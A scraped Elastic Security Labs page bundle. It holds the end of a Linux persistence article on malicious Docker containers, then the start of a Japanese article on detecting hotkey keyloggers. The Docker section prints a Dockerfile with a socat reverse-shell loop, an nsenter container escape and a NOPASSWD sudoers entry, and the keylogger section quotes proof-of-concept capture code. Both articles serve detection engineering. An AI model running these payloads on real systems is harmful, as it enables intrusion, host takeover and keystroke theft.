\",(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1610/\",rel:\"nofollow\",children:\"T1610\"}),\".\"]}),`\n`,(0,n.jsx)(e.h2,{id:\"t1610---deploy-container-malicious-docker-container\",children:\"T1610 - Deploy Container: Malicious Docker Container\"}),`\n`,(0,n.jsx)(e.p,{children:\"Docker containers are particularly susceptible to host escapes when improperly secured. Attackers may exploit vulnerabilities or misconfigurations in two main ways:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"1. Manipulating a Running Container\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Attackers abuse misconfigured containers to execute commands affecting the host. Common scenarios include:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Privileged Mode\"}),\": Containers running with \",(0,n.jsx)(e.code,{children:\"--privileged\"}),\" can directly interact with host resources. For example, attackers may load kernel modules or access host-level devices.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Excessive Capabilities\"}),\": Containers with the \",(0,n.jsx)(e.code,{children:\"CAP_SYS_ADMIN\"}),\" capability can perform privileged operations, such as mounting filesystems or accessing \",(0,n.jsx)(e.code,{children:\"/dev\"}),\" devices.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Sensitive Volume Access\"}),\": Volumes like \",(0,n.jsx)(e.code,{children:\"/var/run/docker.sock\"}),\" allow attackers to issue Docker commands to the host.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Host Namespace Access\"}),\": Containers configured with \",(0,n.jsx)(e.code,{children:\"--pid=host\"}),\" or \",(0,n.jsx)(e.code,{children:\"--net=host\"}),\" expose the host's process and network namespaces. Attackers can escalate privileges by targeting processes or manipulating network configurations directly.\"]}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"2. Deploying a Malicious Container\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Attackers deploy custom containers designed to break out of isolation. These containers often include:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\"Exploits targeting runtime vulnerabilities or kernel bugs.\"}),`\n`,(0,n.jsx)(e.li,{children:\"Scripts for privilege escalation or persistence, such as reverse shells or C2 beacons.\"}),`\n`,(0,n.jsx)(e.li,{children:\"Malicious configurations enabling unauthorized access to host resources.\"}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:\"In the next section, we will take a look at an example of a malicious docker container implementation.\"}),`\n`,(0,n.jsx)(e.h3,{id:\"persistence-through-t1610---deploy-container-malicious-docker-container\",children:\"Persistence through T1610 - Deploy Container: Malicious Docker Container\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"In this scenario, we will take a look at how to simulate the creation of an exemplary malicious Docker container through PANIX. Within the \",(0,n.jsx)(e.a,{href:\"https://github.com/Aegrah/PANIX/blob/ae404d5caf74c772436ccaaa0c3ab51cba8c4250/modules/setup_malicious_docker_container.sh\",rel:\"nofollow\",children:\"setup_malicious_docker_container.sh\"}),\" module, PANIX creates a Dockerfile with the following contents:\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`FROM alpine:latest\n\nRUN apk add --no-cache bash socat sudo util-linux procps\n\nRUN adduser -D lowprivuser\n\nRUN echo '#!/bin/bash' \u003e /usr/local/bin/entrypoint.sh \\\\\\\\\n\t\u0026\u0026 echo 'while true; do /bin/bash -c \"socat exec:\\\\\"/bin/bash\\\\\",pty,stderr,setsid,sigint,sane tcp:$ip:$port\"; sleep 60; done' \u003e\u003e /usr/local/bin/entrypoint.sh \\\\\\\\\n\t\u0026\u0026 chmod +x /usr/local/bin/entrypoint.sh\n\nRUN echo '#!/bin/bash' \u003e /usr/local/bin/escape.sh \\\\\\\\\n\t\u0026\u0026 echo 'sudo nsenter -t 1 -m -u -i -n -p -- su -' \u003e\u003e /usr/local/bin/escape.sh \\\\\\\\\n\t\u0026\u0026 chmod +x /usr/local/bin/escape.sh \\\\\\\\\n\t\u0026\u0026 echo 'lowprivuser ALL=(ALL) NOPASSWD: /usr/bin/nsenter' \u003e\u003e /etc/sudoers\n\nUSER lowprivuser\n\nENTRYPOINT [\"/usr/local/bin/entrypoint.sh\"]\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The Dockerfile sets up a lightweight Alpine Linux container with tools like \",(0,n.jsx)(e.code,{children:\"bash\"}),\", \",(0,n.jsx)(e.code,{children:\"socat\"}),\", and \",(0,n.jsx)(e.code,{children:\"nsenter\"}),\". The \",(0,n.jsx)(e.code,{children:\"entrypoint.sh\"}),\" script ensures continuous reverse shell access by repeatedly connecting to a remote server using \",(0,n.jsx)(e.code,{children:\"socat\"}),\". The \",(0,n.jsx)(e.code,{children:\"escape.sh\"}),\" script, which is granted passwordless \",(0,n.jsx)(e.code,{children:\"sudo\"}),\" permissions, uses \",(0,n.jsx)(e.code,{children:\"nsenter\"}),\" to attach to the host's namespaces (e.g., mount, network, PID) via the init process, effectively breaking container isolation.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"The container is built using:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.code,{children:\"docker build -t malicious-container -f $DOCKERFILE . \u0026\u0026 \\\\\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Where the \",(0,n.jsx)(e.code,{children:\"-t\"}),\" flag tags the container for easy identification, and \",(0,n.jsx)(e.code,{children:\"-f\"}),\" specifies the Dockerfile path.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"It is then run with:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.code,{children:\"docker run -d --name malicious-container --privileged --pid=host malicious-container\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Where the \",(0,n.jsx)(e.code,{children:\"--privileged\"}),\" flag allows full access to host resources, bypassing Docker\\u2019s isolation mechanisms, while \",(0,n.jsx)(e.code,{children:\"--pid=host\"}),\" shares the host's process namespace, enabling the container to interact directly with host-level processes.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"To test this technique, Docker must be installed, and the user running the simulation must either have root or docker group permissions. Let\\u2019s run the payload and examine the logs through the execution of the following PANIX command:\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`sudo ./panix.sh --malicious-container --ip 192.168.100.1 --port 2021\n\n =\u003e [1/5] FROM [installing ...]\n =\u003e [2/5] RUN apk add --no-cache bash socat sudo util-linux procps\n =\u003e [3/5] RUN adduser -D lowprivuser\n =\u003e [4/5] RUN echo '#!/bin/bash' \u003e /usr/local/bin/entrypoint.sh \u0026\u0026 echo 'while true; do /bin/bash -c \"socat exec:\n =\u003e [5/5] RUN echo '#!/bin/bash' \u003e /usr/local/bin/escape.sh \u0026\u0026 echo 'sudo nsenter -t 1 -m -u -i -n -p -- su -'\n\n9543f7ce4c6a8defcad36358f00eb4d38a85a8688cc8ecd5f15a5a2d3f43383b\n\n[+] Malicious Docker container created and running.\n[+] Reverse shell is executed every minute.\n[+] To escape the container with root privileges, run '/usr/local/bin/escape.sh'.\n[+] Docker container persistence established!\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"After catching the shell on the attacker\\u2019s machine, run the \",(0,n.jsx)(e.code,{children:\"/usr/local/bin/escape.sh\"}),\" script to escape the container:\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`\\u276F nc -nvlp 2021\nlistening on [any] 2021 ...\nconnect to [192.168.211.131] from (UNKNOWN) [192.168.211.151] 44726\n\n9543f7ce4c6a:/$ /usr/local/bin/escape.sh\nroot@debian10-persistence:~# hostname\ndebian10-persistence\n`})}),`\n`,(0,n.jsx)(e.p,{children:\"Upon execution, the following logs are generated:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/approaching-the-summit-on-persistence/image6.png\",alt:\"PANIX malicious-container module execution visualized in Kibana\",width:\"1429\",height:\"1083\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The execution of \",(0,n.jsx)(e.code,{children:\"panix.sh\"}),\" initiates the creation of the \",(0,n.jsx)(e.code,{children:\"/tmp/Dockerfile\"}),\". The build command is then executed to create the container based on the specified configuration. Once built, the container is launched with the \",(0,n.jsx)(e.code,{children:\"--privileged\"}),\" and \",(0,n.jsx)(e.code,{children:\"--pid=host\"}),\" flags, enabling the necessary capabilities for host escape. Upon startup, the container runs the \",(0,n.jsx)(e.code,{children:\"/usr/local/bin/entrypoint.sh\"}),\" script, which successfully establishes a reverse shell connection to the attacker\\u2019s machine using \",(0,n.jsx)(e.code,{children:\"socat\"}),\". After the shell is caught, the \",(0,n.jsx)(e.code,{children:\"/usr/local/bin/escape.sh\"}),\" script is executed, effectively breaking out of the container and gaining access to the host.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"Let\\u2019s take a look at the coverage:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.em,{children:\"Detection and endpoint rules that cover malicious Docker container persistence\"})}),`\n`,(0,n.jsx)(e.div,{className:\"table-container\",children:(0,n.jsxs)(e.table,{children:[(0,n.jsx)(e.thead,{children:(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.th,{align:\"left\",children:\"Category\"}),(0,n.jsx)(e.th,{align:\"left\",children:\"Coverage\"})]})}),(0,n.jsxs)(e.tbody,{children:[(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{align:\"left\",children:\"Process\"}),(0,n.jsxs)(e.td,{align:\"left\",children:[(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/execution_potentially_overly_permissive_container_creation.toml\",rel:\"nofollow\",children:\"Privileged Docker Container Creation\"}),\" \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/privilege_escalation_docker_escape_via_nsenter.toml\",rel:\"nofollow\",children:\"Docker Escape via Nsenter\"}),\" \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/privilege_escalation_docker_mount_chroot_container_escape.toml\",rel:\"nofollow\",children:\"Potential Chroot Container Escape via Mount\"}),\" \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/privilege_escalation_container_util_misconfiguration.toml\",rel:\"nofollow\",children:\"Potential Privilege Escalation via Container Misconfiguration\"}),\" \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/privilege_escalation_writable_docker_socket.toml\",rel:\"nofollow\",children:\"Potential Privilege Escalation through Writable Docker Socket\"})]})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{align:\"left\",children:\"Network\"}),(0,n.jsx)(e.td,{align:\"left\",children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/execution_egress_connection_from_entrypoint_in_container.toml\",rel:\"nofollow\",children:\"Egress Connection from Entrypoint in Container\"})})]})]})]})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Besides the rules mentioned above, we also have a dedicated set of container rules that leverages our \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/integrations/current/cloud_defend.html\",rel:\"nofollow\",children:\"Defend for Containers integration\"}),\", which can be found in the \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/tree/main/rules/integrations/cloud_defend\",rel:\"nofollow\",children:\"cloud_defend\"}),\" directory of our \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules\",rel:\"nofollow\",children:\"detection-rules repository\"}),\". We have also extended our protections through the integration of Falco with Elastic Security. This integration significantly enhances threat detection directly at the edge \\u2014 whether in Docker containers, Kubernetes clusters, Linux virtual machines, or bare metal environments. By introducing dedicated Falco connectors, we've strengthened Elastic's capabilities to improve cloud workload protection and endpoint security strategies.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"For a deeper dive into how our Falco integration secures container workloads, check out our recent blog, \",(0,n.jsxs)(e.em,{children:[\"\\u201C\",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/blog/falco-elastic-security-cloud-workload-protection\",rel:\"nofollow\",children:\"Securing the Edge: Harnessing Falco\\u2019s Power with Elastic Security for Cloud Workload Protection\"}),\"\\u201D\"]}),\". The blog covers Falco setup, rule creation, alerting, and explores various threat scenarios.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"You can revert the changes made by PANIX by running the following revert command:\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`\u003e ./panix.sh --revert malicious-container\n\n[+] Stopping and removing the 'malicious-container'...\n[+] Container 'malicious-container' stopped and removed.\n[+] Removing Docker image 'malicious-container'...\n[+] Docker image 'malicious-container' removed.\n[+] Removing Dockerfile at /tmp/Dockerfile...\n[+] Dockerfile removed.\n`})}),`\n`,(0,n.jsx)(e.h3,{id:\"hunting-for-t1610---deploy-container-malicious-docker-container\",children:\"Hunting for T1610 - Deploy Container: Malicious Docker Container\"}),`\n`,(0,n.jsx)(e.p,{children:\"We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious container activity and configurations. The approach includes monitoring for the following:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Unusual network connections from Docker containers:\"}),\" Tracks connections to external or non-local IP addresses initiated by processes under \",(0,n.jsx)(e.code,{children:\"/var/lib/docker/*\"}),\".\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Privileged Docker containers:\"}),\" Identifies containers running in privileged mode, which pose a higher risk of host compromise.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Recently created containers and images:\"}),\" Observes Docker containers and images created or pulled within the last 7 days to detect unauthorized deployments or suspicious additions.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Sensitive host directory mounts:\"}),\" Monitors container mounts accessing paths like \",(0,n.jsx)(e.code,{children:\"/var/run/docker.sock\"}),\", \",(0,n.jsx)(e.code,{children:\"/etc\"}),\", or the root directory (\",(0,n.jsx)(e.code,{children:\"/\"}),\"), which could enable container escape or unauthorized host access.\"]}),`\n`]}),`\n`,(0,n.jsxs)(e.p,{children:[\"By combining the \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_via_malicious_docker_container.md\",rel:\"nofollow\",children:\"Persistence via Docker Container\"}),\" hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to \",(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1610/\",rel:\"nofollow\",children:\"T1610\"}),\".\"]}),`\n`,(0,n.jsx)(e.h1,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,n.jsxs)(e.p,{children:['In this fourth chapter of the \"Linux Detection Engineering\" series, we examined additional persistence techniques that adversaries may leverage on Linux systems. We explored the abuse of PAM modules and ',(0,n.jsx)(e.code,{children:\"pam_exec\"}),\" for executing malicious code during authentication events. After PAM, we looked into installer package manipulation via \",(0,n.jsx)(e.code,{children:\"RPM\"}),\" and \",(0,n.jsx)(e.code,{children:\"DPKG\"}),\", where lifecycle scripts are weaponized for persistence during the package installation/updating process. We finalized this part by examining malicious Docker containers, detailing how privileged containers and host-level access can be exploited for persistence and container escape.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"These techniques underscore the ingenuity and variety of methods adversaries can employ to persist on Linux systems. By leveraging \",(0,n.jsx)(e.a,{href:\"https://github.com/Aegrah/PANIX\",rel:\"nofollow\",children:\"PANIX\"}),\" to simulate these attacks and using the tailored ES|QL and OSQuery detection queries provided, you can build robust defenses and fine-tune your detection strategies.\"]})]})}function v(i={}){let{wrapper:e}=i.components||{};return e?(0,n.jsx)(e,Object.assign({},i,{children:(0,n.jsx)(d,i)})):d(i)}var _=v;return y(x);})();\n;return Component;"},"_id":"articles/approaching-the-summit-on-persistence.mdx","_raw":{"sourceFilePath":"articles/approaching-the-summit-on-persistence.mdx","sourceFileName":"approaching-the-summit-on-persistence.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/approaching-the-summit-on-persistence"},"type":"Article","imageUrl":"/assets/images/approaching-the-summit-on-persistence/Security Labs Images 32.jpg","readingTime":"34 min read","series":"","url":"/approaching-the-summit-on-persistence","headings":[{"level":2,"title":"T1556.003 - Pluggable Authentication Modules: Malicious PAM","href":"#t1556003---pluggable-authentication-modules-malicious-pam"},{"level":3,"title":"Persistence through T1556.003 - Pluggable Authentication Modules: Malicious PAM","href":"#persistence-through-t1556003---pluggable-authentication-modules-malicious-pam"},{"level":3,"title":"Hunting for T1556.003 - Pluggable Authentication Modules (Malicious PAM)","href":"#hunting-for-t1556003---pluggable-authentication-modules-malicious-pam"},{"level":2,"title":"T1556.003 - Pluggable Authentication Modules: pam\\_exec.so","href":"#t1556003---pluggable-authentication-modules-pam_execso"},{"level":3,"title":"Persistence through T1556.003 - Pluggable Authentication Modules: pam\\_exec.so","href":"#persistence-through-t1556003---pluggable-authentication-modules-pam_execso"},{"level":3,"title":"Hunting for T1556.003 - Pluggable Authentication Modules: pam\\_exec.so","href":"#hunting-for-t1556003---pluggable-authentication-modules-pam_execso"},{"level":2,"title":"T1546.016 - Installer Packages: DPKG \u0026 RPM","href":"#t1546016---installer-packages-dpkg--rpm"},{"level":3,"title":"Persistence through T1546.016 - Installer Packages: DPKG \u0026 RPM","href":"#persistence-through-t1546016---installer-packages-dpkg--rpm"},{"level":3,"title":"Hunting for T1546.016 - Installer Packages: DPKG \u0026 RPM","href":"#hunting-for-t1546016---installer-packages-dpkg--rpm"},{"level":2,"title":"T1610 - Deploy Container: Malicious Docker Container","href":"#t1610---deploy-container-malicious-docker-container"},{"level":3,"title":"Persistence through T1610 \\- Deploy Container: Malicious Docker Container","href":"#persistence-through-t1610---deploy-container-malicious-docker-container"},{"level":3,"title":"Hunting for T1610 - Deploy Container: Malicious Docker Container ","href":"#hunting-for-t1610---deploy-container-malicious-docker-container-"}],"author":[{"title":"Ruben Groenewoud","slug":"ruben-groenewoud","description":"Security Research Engineer, Elastic","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var d=Object.getOwnPropertyDescriptor;var g=Object.getOwnPropertyNames;var f=Object.getPrototypeOf,l=Object.prototype.hasOwnProperty;var _=(e,t)=\u003e()=\u003e(t||e((t={exports:{}}).exports,t),t.exports),j=(e,t)=\u003e{for(var n in t)s(e,n,{get:t[n],enumerable:!0})},a=(e,t,n,u)=\u003e{if(t\u0026\u0026typeof t==\"object\"||typeof t==\"function\")for(let o of g(t))!l.call(e,o)\u0026\u0026o!==n\u0026\u0026s(e,o,{get:()=\u003et[o],enumerable:!(u=d(t,o))||u.enumerable});return e};var p=(e,t,n)=\u003e(n=e!=null?x(f(e)):{},a(t||!e||!e.__esModule?s(n,\"default\",{value:e,enumerable:!0}):n,e)),b=e=\u003ea(s({},\"__esModule\",{value:!0}),e);var i=_((D,c)=\u003e{c.exports=_jsx_runtime});var y={};j(y,{default:()=\u003eh,frontmatter:()=\u003ew});var r=p(i()),w={title:\"Ruben Groenewoud\",description:\"Security Research Engineer, Elastic\",slug:\"ruben-groenewoud\"};function m(e){return(0,r.jsx)(r.Fragment,{})}function M(e={}){let{wrapper:t}=e.components||{};return t?(0,r.jsx)(t,Object.assign({},e,{children:(0,r.jsx)(m,e)})):m(e)}var h=M;return b(y);})();\n;return Component;"},"_id":"authors/ruben-groenewoud.mdx","_raw":{"sourceFilePath":"authors/ruben-groenewoud.mdx","sourceFileName":"ruben-groenewoud.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/ruben-groenewoud"},"type":"Author","imageUrl":"","url":"/authors/ruben-groenewoud"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"未公開のカーネルデータ構造を使ったホットキー型キーロガーの検知","slug":"detecting-hotkey-based-keyloggers-jp","date":"2025-02-04","description":"本記事では、ホットキー型キーロガーとは何かについてと、その検知方法について紹介します。具体的には、ホットキー型キーロガーがどのようにしてキー入力を盗み取るのかを解説した後、カーネルレベルに存在する未公開(Undocumented)のホットキーテーブルを活用した検知手法について説明します。","image":"Security Labs Images 12.jpg","tags":["detection engineering","threat detection"],"body":{"raw":"\n## 未公開のカーネルデータ構造を使った\n## ホットキー型キーロガーの検知 \n\n 本記事では、ホットキー型キーロガーとは何かについてと、その検知方法について紹介します。具体的には、ホットキー型キーロガーがどのようにしてキー入力を盗み取るのかを解説した後、カーネルレベルに存在する未公開(Undocumented)のホットキーテーブルを活用した検知手法について説明します。\n\n## はじめに\n\n Elastic Security Labsでは2024年5月、[Elastic Defend](https://www.elastic.co/guide/en/integrations/current/endpoint.html)のバージョン 8.12 より追加された、Windows上で動作するキーロガーの検知を強化する新機能を紹介する[記事](https://www.elastic.co/security-labs/protecting-your-devices-from-information-theft-keylogger-protection-jp)を公開しました 。具体的には、サイバー攻撃で一般的に使われる4種類のキーロガー(ポーリング型キーロガー、フッキング型キーロガー、Raw Input Modelを用いたキーロガー、DirectInputを用いたキーロガー)を挙げ、それらに対する私たちが提供した検知手法についてを解説しました。具体的には[Event Tracing for Windows](https://learn.microsoft.com/ja-jp/windows-hardware/drivers/devtest/event-tracing-for-windows--etw-) (ETW)における、Microsoft-Windows-Win32kプロバイダを用いた振る舞い検知の方法についてを紹介しました。 \n 記事公開後、大変光栄なことに記事がMicrosoft社のPrincipal Security Researcherである[Jonathan Bar Or](https://jonathanbaror.com/)氏の目に留まり、「ホットキー型キーロガーもある」といった貴重なご意見とともに、そのPoCコードも公開してくださりました。そこで本記事では、氏が公開したホットキー型キーロガーのPoCコードである「[Hotkeyz](https://github.com/yo-yo-yo-jbo/hotkeyz)」 をもとに、本キーロガーの検知手法の一案についてを述べたいと思います。\n\n## ホットキー型キーロガーの概要\n\n### そもそもホットキーとは何か?\n\n ホットキー型キーロガーについて説明する前に、まずホットキーとは何かを解説します。ホットキーとは、キーボードショートカットの一種であり、コンピュータにおいて、特定の機能を直接呼び出して実行させるキーまたはキーの組み合わせのことを指します。例えばWindowsにおいてタスク(ウィンドウ)を切り替える際に「**Alt \\+ Tab**」を押している人も多いかと思います。この時使っているこの「**Alt \\+ Tab**」が、タスク切り替え機能を直接呼び出す「ホットキー」にあたります。\n\n*(注: ホットキー以外にも、キーボードショートカットは存在しますが、本記事ではそれらは対象外です。また本記事に記載の事項はすべて、筆者が検証に利用した環境である、仮想化ベースのセキュリティが動作していないWindows 10 version 22H2 OS Build 19045.5371が前提になります。他のWindowsのバージョンではまた内部の構造や挙動が違う場合があること、ご注意ください。)*\n\n### 任意のホットキーが登録できることを悪用する\n\n 先ほどの例のようにWindowsで予め設定されたホットキーを使う以外にも、実は自分で任意のホットキーを登録することも可能です。登録方法は様々ありますが、[RegisterHotKey](https://learn.microsoft.com/ja-jp/windows/win32/api/winuser/nf-winuser-registerhotkey)というWindows APIを使えば、指定のキーをホットキーとして登録することができます。例えば、以下が`RegisterHotKey` APIを使って「A」([virtual-key code](https://learn.microsoft.com/ja-jp/windows/win32/inputdev/virtual-key-codes)で0x41)キーを、グローバルなホットキーとして登録するためのコードの例です。\n\n```c\n/*\nBOOL RegisterHotKey(\n [in, optional] HWND hWnd, \n [in] int id,\n [in] UINT fsModifiers,\n [in] UINT vk\n);\n*/\nRegisterHotKey(NULL, 1, 0, 0x41);\n```\n\n ホットキーとして登録後、登録されたキーが押下された場合、`RegisterHotKey` APIの第一引数で指定したウィンドウ(NULLの場合はホットキー登録時のスレッド)の[メッセージキュー](https://learn.microsoft.com/ja-jp/windows/win32/winmsg/about-messages-and-message-queues)に、[WM\\_HOTKEYメッセージ](https://learn.microsoft.com/ja-jp/windows/win32/inputdev/wm-hotkey)が届くようになります。以下は実際に、メッセージキューにWM\\_HOTKEY メッセージが来ていないかを[GetMessage](https://learn.microsoft.com/ja-jp/windows/win32/api/winuser/nf-winuser-getmessage) APIを使って確認し、届いていた場合、WM\\_HOTKEYメッセージに内包されていた virtual-key code(今回の場合「0x41」)を取り出しているコード(メッセージループ)になります。\n\n```c\nMSG msg = { 0 };\nwhile (GetMessage(\u0026msg, NULL, 0, 0)) {\n if (msg.message == WM_HOTKEY) {\n int vkCode = HIWORD(msg.lParam);\n std::cout \u003c\u003c \"WM_HOTKEY received! Virtual-Key Code: 0x\"\n \u003c\u003c std::hex \u003c\u003c vkCode \u003c\u003c std::dec \u003c\u003c std::endl;\n }\n}\n```\n\n これは言い換えると、例えばメモ帳アプリに文章を書く際、Aキーから入力された文字は、文字としての入力ではなく、グローバルなホットキーとして認識されることになります。\n\n 今回は「A」のみをホットキーとして登録しましたが、複数のキー(BやCやD)を同時に個々のホットキーとして登録することも可能です。これはつまり、`RegisterHotKey` APIでホットキーとして登録可能な範囲の任意のキー(virtual-key code)の入力は、すべてグローバルなホットキーとして横取りすることも可能であるということです。そしてホットキー型キーロガーはこの性質を悪用して、ユーザから入力されたキーを盗み取ります。 \n 筆者が手元の環境で試した限りは、英数字と基本的な記号キーだけでなく、それらにSHIFT修飾子をつけたすべてキーが`RegisterHotKey` APIでホットキーとして登録可能でした。そのため、キーロガーとして問題なく、情報の窃取に必要なキーの監視ができると言えるでしょう。\n\n### 密かにキーを盗み取る\n\n ホットキー型キーロガーがキーを盗み取る実際の流れについてを、Hotkeyzを例に紹介します。 \nHotkeyzでは最初に、各英数字キーに加えて、一部のキー(VK\\_SPACEやVK\\_RETURNなど)のvirtual-key codeを、`RegisterHotKey` APIを使い個々のホットキーとして登録します。その後キーロガー内のメッセージループにて、登録されたホットキーのWM\\_HOTKEYメッセージが、メッセージキューに到着していないかを[PeekMessageW](https://learn.microsoft.com/ja-jp/windows/win32/api/winuser/nf-winuser-peekmessagew) APIを使って確認します。そしてWM\\_HOTKEYメッセージが来ていた場合、メッセージに内包されているvirtual-key codeを取り出して、最終的にはそれをテキストファイルに保存します。以下がメッセージループ内のコードのコードです。特に重要な部分を抜粋して掲載しています。\n\n```c\nwhile (...)\n{\n // Get the message in a non-blocking manner and poll if necessary\n if (!PeekMessageW(\u0026tMsg, NULL, WM_HOTKEY, WM_HOTKEY, PM_REMOVE))\n {\n Sleep(POLL_TIME_MILLIS);\n continue;\n }\n....\n // Get the key from the message\n cCurrVk = (BYTE)((((DWORD)tMsg.lParam) \u0026 0xFFFF0000) \u003e\u003e 16);\n\n // Send the key to the OS and re-register\n (VOID)UnregisterHotKey(NULL, adwVkToIdMapping[cCurrVk]);\n keybd_event(cCurrVk, 0, 0, (ULONG_PTR)NULL);\n if (!RegisterHotKey(NULL, adwVkToIdMapping[cCurrVk], 0, cCurrVk))\n {\n adwVkToIdMapping[cCurrVk] = 0;\n DEBUG_MSG(L\"RegisterHotKey() failed for re-registration (cCurrVk=%lu, LastError=%lu).\", cCurrVk, GetLastError());\n goto lblCleanup;\n }\n // Write to the file\n if (!WriteFile(hFile, \u0026cCurrVk, sizeof(cCurrVk), \u0026cbBytesWritten, NULL))\n {\n....\n```\n\n ここで特筆するべき点としては、ユーザにキーロガーの存在を気取られないため、メッセージからvirtual-key codeを取り出した時点で、いったんそのキーのホットキー登録を[UnregisterHotKey](https://learn.microsoft.com/ja-jp/windows/win32/api/winuser/nf-winuser-unregisterhotkey) APIを使って解除し、その上で[keybd\\_event](https://learn.microsoft.com/ja-jp/windows/win32/api/winuser/nf-winuser-keybd_event)を使ってキーを送信することです。これにより、ユーザからは問題無くキーが入力出来ているように見え、キーが裏で窃取されていることに気が付かれにくくなります。そしてキーを送信した後は再びそのキーを`RegisterHotKey` 